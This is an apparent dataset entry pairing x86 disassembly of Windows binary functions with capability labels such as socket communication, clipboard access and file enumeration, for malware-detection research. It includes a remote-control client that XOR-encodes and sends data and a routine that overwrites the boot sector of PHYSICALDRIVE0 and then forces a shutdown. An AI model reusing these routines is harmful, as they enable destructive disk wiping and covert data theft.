joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4bd160
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffdfc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4bd1cb
cmp byte [ebx + 0xd3], 0
jne 0x4bd1cb
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x170]
push eax
call sub.user32.dll_GetWindowTextW
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00406b64
mov eax, dword [esi]
mov dword [esp + 0x200], eax
mov eax, dword [esp + 0x200]
test eax, eax
je 0x4bd1b8
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x4bd1d8
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00406a28
jmp 0x4bd1d8
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00406a28
add esp, 0x204
pop esi
pop ebx
ret

Function at 0x4bea00
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4bea6e
mov eax, esi
call fcn.00496fec
test al, al
je 0x4bea6e
mov eax, dword [ebx + 0x84]
call fcn.00496c40
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4bea6e
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xfc]
test al, al
je 0x4bea62
push 0
mov eax, dword [ebx + 0x84]
call fcn.00496c40
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.0048dc14
jmp 0x4bea6e
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.004be838
pop esi
pop ebx
ret

Function at 0x4ec36c
Capabilities:
Check os version

Disassembly:
add esp, 0xfffffeec
mov dword [esp], 0x114
push esp
call sub.KERNEL32.DLL_GetVersionExW
cmp dword [esp + 4], 5
ja 0x4ec398
cmp dword [esp + 4], 5
jne 0x4ec394
cmp dword [esp + 8], 1
jae 0x4ec398
xor eax, eax
jmp 0x4ec39a
mov al, 1
add esp, 0x114
ret

Function at 0x4f3948
Capabilities:
Hash data with crc32

Disassembly:
push ebx
push esi
xor esi, esi
mov ecx, 0x56a58c
mov eax, esi
mov edx, 8
mov ebx, eax
and ebx, 1
test bl, bl
je 0x4f396a
shr eax, 1
xor eax, 0xedb88320
jmp 0x4f396c
shr eax, 1
dec edx
jne 0x4f3958
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x4f3951
mov byte [0x56a98c], 1
pop esi
pop ebx
ret

Function at 0x4f3988
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
cmp byte [0x56a98c], 0
jne 0x4f399f
call fcn.004f3948
mov eax, edi
dec eax
test eax, eax
jl 0x4f39c7
inc eax
xor edx, edx
movzx ecx, byte [esi + edx]
xor ecx, ebx
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x56a58c]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x4f39a9
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x4f6770
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov ebx, eax
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx + 0x14]
movzx edx, byte [eax + 0x461]
movzx ecx, dl
cmp ecx, 6
ja case.0x4f680a.0
jmp dword [ecx*4 + 0x4f67a3]
movzx edx, byte [eax + 0x460]
sub dl, 8
je 0x4f67d5
sub dl, 8
je 0x4f67e4
jmp case.0x4f680a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x4f6418
jmp case.0x4f680a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x4f6470
jmp case.0x4f680a.0
movzx ecx, byte [eax + 0x460]
cmp ecx, 0x10
ja case.0x4f680a.0
movzx ecx, byte [ecx + 0x4f6811]
jmp dword [ecx*4 + 0x4f6822]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x4f651c
jmp case.0x4f680a.0
cmp dl, 3
jne 0x4f684f
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x4f6574
jmp case.0x4f680a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x4f6530
jmp case.0x4f680a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x4f65b8
jmp case.0x4f680a.0
movzx edx, byte [eax + 0x460]
sub dl, 8
je 0x4f687a
sub dl, 8
je 0x4f6886
jmp case.0x4f680a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x4f65e4
jmp case.0x4f680a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x4f6650
jmp case.0x4f680a.0
movzx edx, byte [eax + 0x460]
sub dl, 8
je 0x4f68a5
sub dl, 8
je 0x4f68b1
jmp case.0x4f680a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x4f670c
jmp case.0x4f680a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x4f6734
mov edx, dword [eax + 0x468]
mov ecx, dword [ebx + 0x1c]
dec ecx
imul edx, ecx
mov esi, edx
add esi, dword [eax + 0x450]
mov dword [ebp - 0x10], esi
mov esi, dword [eax + 0x454]
mov dword [ebp - 0xc], esi
add edx, dword [eax + 0x44c]
mov dword [ebp - 0x14], edx
mov esi, ecx
test esi, esi
jb 0x4f6953
inc esi
mov eax, dword [ebx + 0x20]
inc eax
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [ebp + 8]
push eax
movzx eax, byte [ebx + 0x48]
mov ecx, dword [ebx + eax*4 + 0x40]
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.004f591c
test eax, eax
je 0x4f6953
mov eax, ebx
call fcn.004f695c
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
push eax
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
lea edx, [eax + 1]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
call dword [ebp - 0x20]
movzx eax, byte [ebx + 0x48]
xor al, 1
mov byte [ebx + 0x48], al
mov eax, dword [ebx + 0x14]
mov eax, dword [eax + 0x468]
sub dword [ebp - 0x10], eax
sub dword [ebp - 0x14], eax
mov eax, dword [ebx + 0x18]
add dword [ebp - 0xc], eax
dec esi
jne 0x4f68ec
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4f695c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebx, eax
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax]
dec al
je 0x4f698d
dec al
je 0x4f69c8
dec al
je 0x4f6a0d
dec al
je 0x4f6a76
jmp 0x4f6b00
mov esi, dword [ebx + 0x24]
inc esi
mov edi, dword [ebx + 0x20]
sub edi, esi
jb 0x4f6b00
inc edi
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx edx, byte [ecx + edx]
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x4f699d
jmp 0x4f6b00
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x4f6b00
mov esi, 1
movzx eax, byte [ebx + 0x48]
mov edx, eax
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x4f69d8
jmp 0x4f6b00
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x4f6b00
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov ecx, esi
dec ecx
mov edx, dword [ebx + 0x24]
cmp ecx, edx
jae 0x4f6a3c
xor ebp, ebp
jmp 0x4f6a4c
mov ecx, esi
sub ecx, edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx ebp, byte [edx + ecx]
add eax, ebp
sar eax, 1
jns 0x4f6a55
adc eax, 0
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
add al, byte [edx + esi]
and al, 0xff
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x4f6a1d
jmp 0x4f6b00
xor ebp, ebp
xor eax, eax
mov dword [esp + 4], eax
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x4f6b00
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, esi
dec edx
cmp edx, dword [ebx + 0x24]
jb 0x4f6acf
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx ebp, byte [ecx + edx]
movzx edx, byte [ebx + 0x48]
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov ecx, esi
sub ecx, dword [ebx + 0x24]
movzx edx, byte [edx + ecx]
mov dword [esp + 4], edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
mov dword [esp], edx
movzx ecx, byte [esp + 4]
push eax
mov eax, ebp
pop edx
call fcn.004f39d0
add al, byte [esp]
and al, 0xff
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x4f6a8a
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4fe454
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x4fe482
mov eax, ebx
call fcn.004fef08
cmp dword [ebx + 0x40], 0
je 0x4fe47b
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4fe4f3
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4fe4e5
cmp dword [ebx + 8], 0
je 0x4fe4a4
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x4fe4b6
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4fe4e5
cmp dword [ebx + 8], 0
je 0x4fe497
cmp eax, 3
je 0x4fe4c9
dec eax
jne 0x4fe497
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4fe497
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x4fe497
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x4fe511
cmp dword [ebx + 0x14], 0xcc
je 0x4fe511
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.004fe51c
pop ebx
ret
Function at 0x54eb3c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe8
push ebx
xor edx, edx
mov dword [ebp - 0x414], edx
mov dword [ebp - 0x418], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x54ec00
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x410]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathW
lea eax, [ebp - 0x208]
push eax
push 0
push 0x54ec0c
lea eax, [ebp - 0x410]
push eax
call sub.KERNEL32.DLL_GetTempFileNameW
test eax, eax
jne 0x54ebd0
call sub.KERNEL32.DLL_GetLastError
lea edx, [ebp - 0x418]
call fcn.00417610
mov ecx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
mov edx, 0x54ec20
call fcn.00406f0c
mov ecx, dword [ebp - 0x414]
mov dl, 1
mov eax, dword [0x40d640]
call fcn.00417fcc
call fcn.004058c8
mov eax, ebx
lea edx, [ebp - 0x208]
mov ecx, 0x104
call fcn.00406c38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x54ec07
lea eax, [ebp - 0x418]
mov edx, 2
call fcn.00406a20
ret
Function at 0x10001430
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10014311
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
push esi
mov esi, ecx
lea ecx, [esi + 4]
mov dword [ebp - 0x10], esi
mov dword [esi], vtable.CClientSocket.0
call fcn.10001000
lea ecx, [esi + 0x14]
mov dword [ebp - 4], 0
call fcn.10001000
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 1
call fcn.10001000
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 2
call fcn.10001000
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov word [ebp - 0x10], 0x7978
mov cx, word [ebp - 0x10]
mov word [esi + 0x50], cx
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x4c], eax
mov dword [esi + 0x48], 0xffffffff
mov word [esi + 0x52], 0x20
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x10001550
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], ecx
mov ecx, dword [ebp + 0xc]
push esi
xor eax, eax
push edi
mov edi, dword [ebp + 8]
test ecx, ecx
jle 0x10001577
mov dl, byte [eax + edi]
sub dl, 0x46
xor dl, 0x19
mov byte [eax + edi], dl
inc eax
cmp eax, ecx
jl 0x10001566
mov esi, dword [ebp + 0x10]
mov dword [ebp + 8], 0
mov ebx, ecx
cmp ecx, esi
jb 0x100015d4
jmp 0x10001590
mov dword [ebp + 0x10], 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x48]
push 0
push esi
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x100015b8
mov ecx, dword [ebp + 0x10]
inc ecx
mov dword [ebp + 0x10], ecx
cmp ecx, 0xf
jl 0x10001597
cmp dword [ebp + 0x10], 0xf
je 0x1000160e
add dword [ebp + 8], eax
push 0xa
add edi, esi
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x10001590
mov ecx, dword [ebp + 0xc]
test ebx, ebx
jle 0x10001607
xor esi, esi
lea ebx, [ebx]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x48]
push 0
push ebx
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x100015fb
inc esi
cmp esi, 0xf
jl 0x100015e0
cmp dword [ebp + 0x10], 0xf
je 0x1000160e
add dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
cmp eax, ecx
je 0x10001611
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10001630
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10014341
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x14], esi
mov dword [esi], vtable.CClientSocket.0
mov eax, dword [esi + 0x44]
push 0xffffffffffffffff
lea edi, [esi + 0x53]
push eax
mov dword [ebp - 4], 2
mov byte [edi], 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esi + 0x48]
cmp eax, 0xffffffff
je 0x100016c5
push 4
lea ecx, [ebp - 0x10]
push ecx
push 0x80
push 0xffff
push eax
mov dword [ebp - 0x10], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
mov edx, dword [esi + 0x48]
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x48]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esi + 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [esi + 0x48], 0xffffffff
mov edx, dword [esi + 0x44]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x4c]
push eax
call edi
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [esi + 0x34]
call fcn.10001020
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 1
call fcn.10001020
lea ecx, [esi + 0x14]
mov byte [ebp - 4], 0
call fcn.10001020
lea ecx, [esi + 4]
mov dword [ebp - 4], 0xffffffff
call fcn.10001020
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10001c40
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push esi
push edi
push 4
lea edx, [ebp - 4]
push edx
push 0x80
mov esi, ecx
mov eax, dword [esi + 0x48]
push 0xffff
push eax
mov dword [ebp - 4], 1
call ebx
mov ecx, dword [esi + 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
lea edi, [esi + 0x53]
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov edx, dword [esi + 0x48]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [esi + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [esi + 0x4c]
push ecx
mov dword [esi + 0x48], 0xffffffff
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [edi], 0
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x48], eax
cmp eax, 0xffffffff
jne 0x10001ccb
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp + 8], eax
test eax, eax
je 0x10001cc0
mov ecx, dword [ebp + 0xc]
mov eax, 2
push ecx
mov word [ebp - 0x28], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [ebp + 8]
mov word [ebp - 0x26], ax
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esi + 0x48]
push 0x10
lea eax, [ebp - 0x28]
push eax
push ecx
mov dword [ebp - 0x24], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x10001cc0
mov eax, dword [esi + 0x48]
push 4
lea edx, [ebp - 8]
push edx
push 8
push 0xffff
push eax
mov dword [ebp - 8], 1
call ebx
test eax, eax
jne 0x10001d65
push eax
push eax
lea ecx, [ebp - 0xc]
push ecx
push eax
push eax
mov eax, dword [esi + 0x48]
push 0xc
lea edx, [ebp - 0x18]
push edx
push 0x98000004
push eax
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0x2bf20
mov dword [ebp - 0x10], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0
push 0
push 0
push esi
push 0x10001ab0
push 0
push 0
mov byte [edi], 1
call fcn.10007900
add esp, 0x1c
pop edi
mov dword [esi + 0x44], eax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10001e10
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
push 0
mov edi, ecx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10001ec1
push ebx
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
jne 0x10001e9a
mov eax, dword [0x100153b0]
mov ecx, dword [0x100153b4]
mov edx, dword [0x100153b8]
mov dword [ebp - 0x10], eax
mov ax, word [0x100153bc]
mov dword [ebp - 0xc], ecx
mov cl, byte [0x100153be]
mov word [ebp - 4], ax
lea eax, [ebp - 0x10]
mov dword [ebp - 8], edx
mov byte [ebp - 2], cl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001e72
sub eax, edx
push eax
lea edx, [ebp - 0x10]
push edx
mov ecx, edi
call fcn.10006910
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, eax
push esi
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x10001ea0
sub ecx, esi
push ecx
push eax
mov ecx, edi
call fcn.10006910
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10001ed0
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push 0x103
lea eax, [ebp - 0x347]
push 0
push eax
mov byte [ebp - 0x348], 0
call fcn.10008330
add esp, 0xc
push 0
push 0x1a
lea ecx, [ebp - 0x348]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x103
lea edx, [ebp - 0x243]
push 0
push edx
mov byte [ebp - 0x244], 0
call fcn.10008330
add esp, 0xc
xor eax, eax
jmp 0x10001f30
mov cl, byte [ebp + eax - 0x348]
mov byte [ebp + eax - 0x244], cl
inc eax
test cl, cl
jne 0x10001f30
lea eax, [ebp - 0x244]
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10001f50
mov ecx, dword [str.TencentUsers.]
mov edx, dword [0x100153c8]
mov dword [eax], ecx
mov ecx, dword [0x100153cc]
mov dword [eax + 4], edx
mov edx, dword [0x100153d0]
mov dword [eax + 8], ecx
mov cx, word [0x100153d4]
push ebx
mov dword [eax + 0xc], edx
mov dl, byte [0x100153d6]
push esi
mov word [eax + 0x10], cx
push edi
mov byte [eax + 0x12], dl
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea edx, [ebp - 0x140]
mov ebx, eax
push edx
push ebx
call esi
lea eax, [ebp - 0x140]
push eax
push ebx
xor edi, edi
call esi
test eax, eax
je 0x1000203c
jmp 0x10001fd0
test byte [ebp - 0x140], 0x10
je 0x1000202e
lea eax, [ebp - 0x114]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10001fe0
mov cx, word [0x100153c0]
mov dl, byte [0x100153c2]
mov word [eax], cx
mov byte [eax + 2], dl
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002004
sub eax, edx
mov esi, eax
push esi
lea eax, [ebp - 0x114]
push eax
lea ecx, [edi + 0x1001ce80]
push ecx
call fcn.10007ae0
add esp, 0xc
add edi, esi
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea edx, [ebp - 0x140]
push edx
push ebx
call esi
test eax, eax
jne 0x10001fd0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002050
Capabilities:
Contain obfuscated stackstrings
Shutdown system
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push esi
push 0x1ff
lea eax, [ebp - 0x22f]
push 0
push eax
call fcn.10008330
add esp, 0xc
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
lea ecx, [ebp - 0x14]
push ecx
mov byte [ebp - 0x230], 0
mov word [ebp - 0x32], 0xaa55
mov dword [ebp - 0x14], 0x5c2e5c5c
mov dword [ebp - 0x10], 0x53594850
mov dword [ebp - 0xc], 0x4c414349
mov dword [ebp - 8], 0x56495244
mov word [ebp - 4], 0x3045
mov byte [ebp - 2], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000218a
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
push 0
lea eax, [ebp - 0x20]
push eax
push 0x200
lea ecx, [ebp - 0x230]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x10002179
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [ebp - 0x2c]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x18]
push 0
push 0
push 0
lea edx, [ebp - 0x30]
push edx
push 0
push eax
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x24], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
call fcn.1000862d
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10002320
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov al, byte [esi]
push edi
mov edi, ecx
cmp al, 0x64
jne 0x1000233b
call fcn.100069a0
pop edi
pop esi
pop ebp
ret 8
cmp al, 0x73
jne 0x1000234a
call fcn.10001e10
pop edi
pop esi
pop ebp
ret 8
cmp al, 0x76
jne 0x10002376
call fcn.10001ed0
mov eax, 0x1001ce80
lea edx, [eax + 1]
jmp 0x10002360
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002360
sub eax, edx
push eax
push 0x1001ce80
mov ecx, edi
call fcn.10006910
cmp byte [esi], 0x74
jne 0x10002380
call fcn.10002050
cmp byte [esi], 0x75
jne 0x100023a4
push 1
call fcn.10002190
add esp, 4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.10002190
add esp, 4
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x100023f1
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov eax, dword [ebp + 0xc]
inc eax
push eax
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub eax, esi
mov cl, byte [esi]
mov byte [eax + esi], cl
inc esi
test cl, cl
jne 0x100023d1
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebp
ret 8